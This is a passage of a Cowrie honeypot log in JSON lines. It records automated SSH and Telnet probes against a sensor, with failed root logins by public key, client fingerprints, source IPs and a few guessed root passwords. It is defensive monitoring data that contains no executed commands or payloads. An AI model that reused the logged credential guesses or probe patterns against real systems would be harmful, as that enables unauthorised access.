{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:44:67:84:81:cf:b5:63:ef:16:67:ca:53:08:5e:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzzE3ycdu24GCMBh6csTn1klqVIA66h9kbYV1aLdeqXf1wX+olqbEVpjV7oj69njdVKgIZAU7MQeWxd0497tpgOEYrlnYmn588p2evJH23+OEl+5iuPIMf62vHtdwKVoHyGPzLa/LJ98XyML6DX9+xAr+4IW9JvTzxpSuH68mm5xZ/CSpBCHWsbAycuBorDjdLXoOZto+p6/KMeA8gQxRKyaZQo4g/MQxtEBxmtksBeG4oe7f6O+fKxr3jAVgabnsDzkE2IwxfxKd7EnYsU9XxEqnojwDk7szW3JxC3tmIX+xTOntp/4nknDD+ymfvLbWZxgg7ff4aq9wTUfvke45mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.327731Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:41:d4:20:16:ca:f6:50:e2:6f:1b:c2:c0:3c:2d:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8P4aoznWR/Qv8silNn3MrTybKjy/MnWaf1kFarvA86ulg46UmzOgjQ+aj4/7dJqS0LOkrWouPgdoNEQpLNCQ20X3dSaE4th2ldC6/dYSjYZUqZqqjRRkYvuIHai/XkBBlUaXy7DIhybMGfscUNroQwFtHxcRJkfGPOG3RXhc2cNijuuNQjhYJDAwSAgwmdLPU+5j0mjZNZiCet5WilcDQotPzqh9hqFt9397qXcO0TU767pdFD64gemaezWD2ZPNrXF5IFe+hF75ZV3jLKR1Lp0MCUHTVStDLJqRcv4N1N5PttZ+J8U3qs2yjwllZHx+dRKiIDv1ugDeZRyNb92QAQwU4yNsx1+4dXtgI8zk1TrDVwk/+JuCGKnkCYp0FVly50u9HQa3ahTGhjYRRVeMegkV6Li7X29H4lhIZT9+6CqOi+QmcvTCe+WipwJvYcwmEcBRjni0Zn9YyND9PeKuSUS+EZ0nq3fQihQzq/n2j7lyxnuvOz3wQt5xLUfxAla5wnVewTRFur/ONym8LDsgtuA5yolm4iC96i8xnVaYHo72gkndtFxitDbALv0aABOrb/9b8t7FCxaXxeiNSplr/gJjJ1l1UvC4AeuzLLPgWtogtFq+6vlqTarDWPIPpApIb6XngQmwowH3NRUwHUTFFPFcEeTn/14yh04p0QU4bFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:41:d4:20:16:ca:f6:50:e2:6f:1b:c2:c0:3c:2d:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.345125Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:41:d4:20:16:ca:f6:50:e2:6f:1b:c2:c0:3c:2d:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8P4aoznWR/Qv8silNn3MrTybKjy/MnWaf1kFarvA86ulg46UmzOgjQ+aj4/7dJqS0LOkrWouPgdoNEQpLNCQ20X3dSaE4th2ldC6/dYSjYZUqZqqjRRkYvuIHai/XkBBlUaXy7DIhybMGfscUNroQwFtHxcRJkfGPOG3RXhc2cNijuuNQjhYJDAwSAgwmdLPU+5j0mjZNZiCet5WilcDQotPzqh9hqFt9397qXcO0TU767pdFD64gemaezWD2ZPNrXF5IFe+hF75ZV3jLKR1Lp0MCUHTVStDLJqRcv4N1N5PttZ+J8U3qs2yjwllZHx+dRKiIDv1ugDeZRyNb92QAQwU4yNsx1+4dXtgI8zk1TrDVwk/+JuCGKnkCYp0FVly50u9HQa3ahTGhjYRRVeMegkV6Li7X29H4lhIZT9+6CqOi+QmcvTCe+WipwJvYcwmEcBRjni0Zn9YyND9PeKuSUS+EZ0nq3fQihQzq/n2j7lyxnuvOz3wQt5xLUfxAla5wnVewTRFur/ONym8LDsgtuA5yolm4iC96i8xnVaYHo72gkndtFxitDbALv0aABOrb/9b8t7FCxaXxeiNSplr/gJjJ1l1UvC4AeuzLLPgWtogtFq+6vlqTarDWPIPpApIb6XngQmwowH3NRUwHUTFFPFcEeTn/14yh04p0QU4bFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.348521Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:ea:62:38:7c:61:8b:fa:6f:ce:4c:79:1c:09:54:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoMI1/GyE/Ngq9bkTIov3J5mu6lqRzzloMQsftkA2CE7B+KO3ThcttmmYrYyVqhzbvh0xAiriqyKTBjrykcLndmgmEnWE2qNDtJaObpPillfNdtO9ZjrpY0ajovMUlkmXRRcK75/yC5Ya+6dYmkf3FXODfHbG0EUUKTfjgWeOWyo+GCy6CPJDW1248UnU+qsTbgGOqkgIS9JiVS4Y/YuaZJ9xrAPQbddlBWsI/zJdrGCaCipm8MHs+FCOBPNdx/s6SqKnvUPDCPhmvoyc86AWcxK17YSXegJvS3740JwMfH1XR9ZCVqjh7jlRu/PYImsbwy/M+nmDYO5KEXM9ZLrG5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:ea:62:38:7c:61:8b:fa:6f:ce:4c:79:1c:09:54:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.361773Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:ea:62:38:7c:61:8b:fa:6f:ce:4c:79:1c:09:54:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoMI1/GyE/Ngq9bkTIov3J5mu6lqRzzloMQsftkA2CE7B+KO3ThcttmmYrYyVqhzbvh0xAiriqyKTBjrykcLndmgmEnWE2qNDtJaObpPillfNdtO9ZjrpY0ajovMUlkmXRRcK75/yC5Ya+6dYmkf3FXODfHbG0EUUKTfjgWeOWyo+GCy6CPJDW1248UnU+qsTbgGOqkgIS9JiVS4Y/YuaZJ9xrAPQbddlBWsI/zJdrGCaCipm8MHs+FCOBPNdx/s6SqKnvUPDCPhmvoyc86AWcxK17YSXegJvS3740JwMfH1XR9ZCVqjh7jlRu/PYImsbwy/M+nmDYO5KEXM9ZLrG5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.365261Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:4c:29:49:94:e8:17:67:e9:07:f8:96:bb:ab:3d:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4v1ZuV29bYmVotHBNOfdxLWy6gKZ35Rl3VyOrebWlBuo8IJh/oVSUel4opvrMuDueTA2Md5iPNu7mz7sHkCjtqthG3i5IoGH4lHE8SGHNP/nIKg0NrP4vNXATzYn5KJYqmZWEzM10XQBpYdr1n6wZVLX+FKNYqY6iXbALtcLsHHWygnrcl8UE+rZQiEDSMwoH8JSjaytbuuPdennXxTEsE6P5w6/cSjnL2Bw60yJVWEykkci00ptlQC8CUARIFTCIU/nJDpmbRCV6WhWAKQNklA8tMBmT0v/15xTVUpKn5j0NpNi0yzKEDESclRxmQmBa9PnARBfsACIFUNcpRzyR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:4c:29:49:94:e8:17:67:e9:07:f8:96:bb:ab:3d:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.378481Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:4c:29:49:94:e8:17:67:e9:07:f8:96:bb:ab:3d:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4v1ZuV29bYmVotHBNOfdxLWy6gKZ35Rl3VyOrebWlBuo8IJh/oVSUel4opvrMuDueTA2Md5iPNu7mz7sHkCjtqthG3i5IoGH4lHE8SGHNP/nIKg0NrP4vNXATzYn5KJYqmZWEzM10XQBpYdr1n6wZVLX+FKNYqY6iXbALtcLsHHWygnrcl8UE+rZQiEDSMwoH8JSjaytbuuPdennXxTEsE6P5w6/cSjnL2Bw60yJVWEykkci00ptlQC8CUARIFTCIU/nJDpmbRCV6WhWAKQNklA8tMBmT0v/15xTVUpKn5j0NpNi0yzKEDESclRxmQmBa9PnARBfsACIFUNcpRzyR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.382257Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:d0:6f:fe:08:8f:46:6f:b8:41:51:13:c8:32:d4:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyjkmtdYcvo8wm4llUQfVJOzS6FuWSRhKL60lELQRIcbSHPbyhVJWsvrki69p3kruQ1RwUngFycV37E7yAifgb8JFBXg0jjBFRJMSsK1CnvS9gqLNrB6op+G8wIBaAcm8lOXUO5KnDSUWQT9YQCfFOWxsKxc3C5UPFkrVm4ZqWsZW/IClhMDmsRDOXZybTbZaX0NbyJSLtp2MRVe4gN0TItunOILBgMXS83NKgHKBwzA1B4M+RSs8lti4ZD/hmYrPPQhRVLxl0ZMW7BqCF8ADjJtCV2i+skHh/ELcarGW4HDyRaLr+XQPAFPyyyCVW4/7RuC3LJYwNaoJUpKWvbb+Ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:d0:6f:fe:08:8f:46:6f:b8:41:51:13:c8:32:d4:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.396587Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:d0:6f:fe:08:8f:46:6f:b8:41:51:13:c8:32:d4:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyjkmtdYcvo8wm4llUQfVJOzS6FuWSRhKL60lELQRIcbSHPbyhVJWsvrki69p3kruQ1RwUngFycV37E7yAifgb8JFBXg0jjBFRJMSsK1CnvS9gqLNrB6op+G8wIBaAcm8lOXUO5KnDSUWQT9YQCfFOWxsKxc3C5UPFkrVm4ZqWsZW/IClhMDmsRDOXZybTbZaX0NbyJSLtp2MRVe4gN0TItunOILBgMXS83NKgHKBwzA1B4M+RSs8lti4ZD/hmYrPPQhRVLxl0ZMW7BqCF8ADjJtCV2i+skHh/ELcarGW4HDyRaLr+XQPAFPyyyCVW4/7RuC3LJYwNaoJUpKWvbb+Ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.402230Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.417129Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.99315810203552,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.776319Z","src_ip":"152.42.224.71","session":"3a96e9df5f24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56340,"dst_ip":"10.17.0.5","dst_port":22,"session":"39631298ac32","protocol":"ssh","message":"New connection: 185.236.22.41:56340 (10.17.0.5:22) [session: 39631298ac32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.827488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.877668Z","src_ip":"185.236.22.41","session":"39631298ac32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.997754Z","src_ip":"185.236.22.41","session":"39631298ac32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34784,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d408babb80","protocol":"telnet","message":"New connection: 152.42.224.71:34784 (10.17.0.5:23) [session: e1d408babb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:23.510009Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1478963","message":"login attempt [root/1478963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:23.972680Z","src_ip":"185.236.22.41","session":"39631298ac32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:25.133105Z","src_ip":"185.236.22.41","session":"39631298ac32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.416431427001953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:25.414285Z","src_ip":"152.42.224.71","session":"a5844e8a17d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce23eef81d61","protocol":"telnet","message":"New connection: 152.42.224.71:39180 (10.17.0.5:23) [session: ce23eef81d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:26.811188Z"}
{"eventid":"cowrie.session.closed","duration":120.00399088859558,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:29.617630Z","src_ip":"152.42.224.71","session":"b3690b689e31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":46678,"dst_ip":"159.203.135.109","dst_port":22,"session":"12f47facd4e1","protocol":"ssh","message":"New connection: 89.108.118.91:46678 (159.203.135.109:22) [session: 12f47facd4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:29.838901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:29.842848Z","src_ip":"89.108.118.91","session":"12f47facd4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:29.973062Z","src_ip":"89.108.118.91","session":"12f47facd4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicken","message":"login attempt [root/chicken] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:30.364743Z","src_ip":"89.108.118.91","session":"12f47facd4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:31.498458Z","src_ip":"89.108.118.91","session":"12f47facd4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39182,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba6cc195d91","protocol":"telnet","message":"New connection: 152.42.224.71:39182 (10.17.0.5:23) [session: 9ba6cc195d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:31.584242Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58226,"dst_ip":"10.17.0.5","dst_port":23,"session":"35401f7d4e13","protocol":"telnet","message":"New connection: 152.42.224.71:58226 (10.17.0.5:23) [session: 35401f7d4e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:50.246959Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58242,"dst_ip":"10.17.0.5","dst_port":23,"session":"3367f0dcc01f","protocol":"telnet","message":"New connection: 152.42.224.71:58242 (10.17.0.5:23) [session: 3367f0dcc01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:50.776597Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58248,"dst_ip":"10.17.0.5","dst_port":23,"session":"f89ebd196577","protocol":"telnet","message":"New connection: 152.42.224.71:58248 (10.17.0.5:23) [session: f89ebd196577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:52.957690Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58250,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b558489fddd","protocol":"telnet","message":"New connection: 152.42.224.71:58250 (10.17.0.5:23) [session: 9b558489fddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:54.447491Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58264,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc74b0402b04","protocol":"telnet","message":"New connection: 152.42.224.71:58264 (10.17.0.5:23) [session: cc74b0402b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:54.471876Z"}
{"eventid":"cowrie.session.closed","duration":55.88440012931824,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:54.673392Z","src_ip":"152.42.224.71","session":"f439aecc7e0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.77928638458252,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:09.226644Z","src_ip":"152.42.224.71","session":"9b558489fddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":41080,"dst_ip":"10.17.0.5","dst_port":22,"session":"8509a86fe31f","protocol":"ssh","message":"New connection: 176.32.39.21:41080 (10.17.0.5:22) [session: 8509a86fe31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:09.408930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:09.414050Z","src_ip":"176.32.39.21","session":"8509a86fe31f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:09.533088Z","src_ip":"176.32.39.21","session":"8509a86fe31f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfvceyu","message":"login attempt [root/cfvceyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:09.903751Z","src_ip":"176.32.39.21","session":"8509a86fe31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.703566789627075,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:09.950415Z","src_ip":"152.42.224.71","session":"35401f7d4e13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:11.025113Z","src_ip":"176.32.39.21","session":"8509a86fe31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59390,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50ed58bda3f","protocol":"telnet","message":"New connection: 152.42.224.71:59390 (10.17.0.5:23) [session: f50ed58bda3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:11.039497Z"}
{"eventid":"cowrie.session.closed","duration":100.16963386535645,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:12.251390Z","src_ip":"152.42.224.71","session":"b550ce91e71e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.93737316131592,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:12.294587Z","src_ip":"152.42.224.71","session":"b0b1e1c57f88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59398,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d579c8f59e","protocol":"telnet","message":"New connection: 152.42.224.71:59398 (10.17.0.5:23) [session: 77d579c8f59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:12.878639Z"}
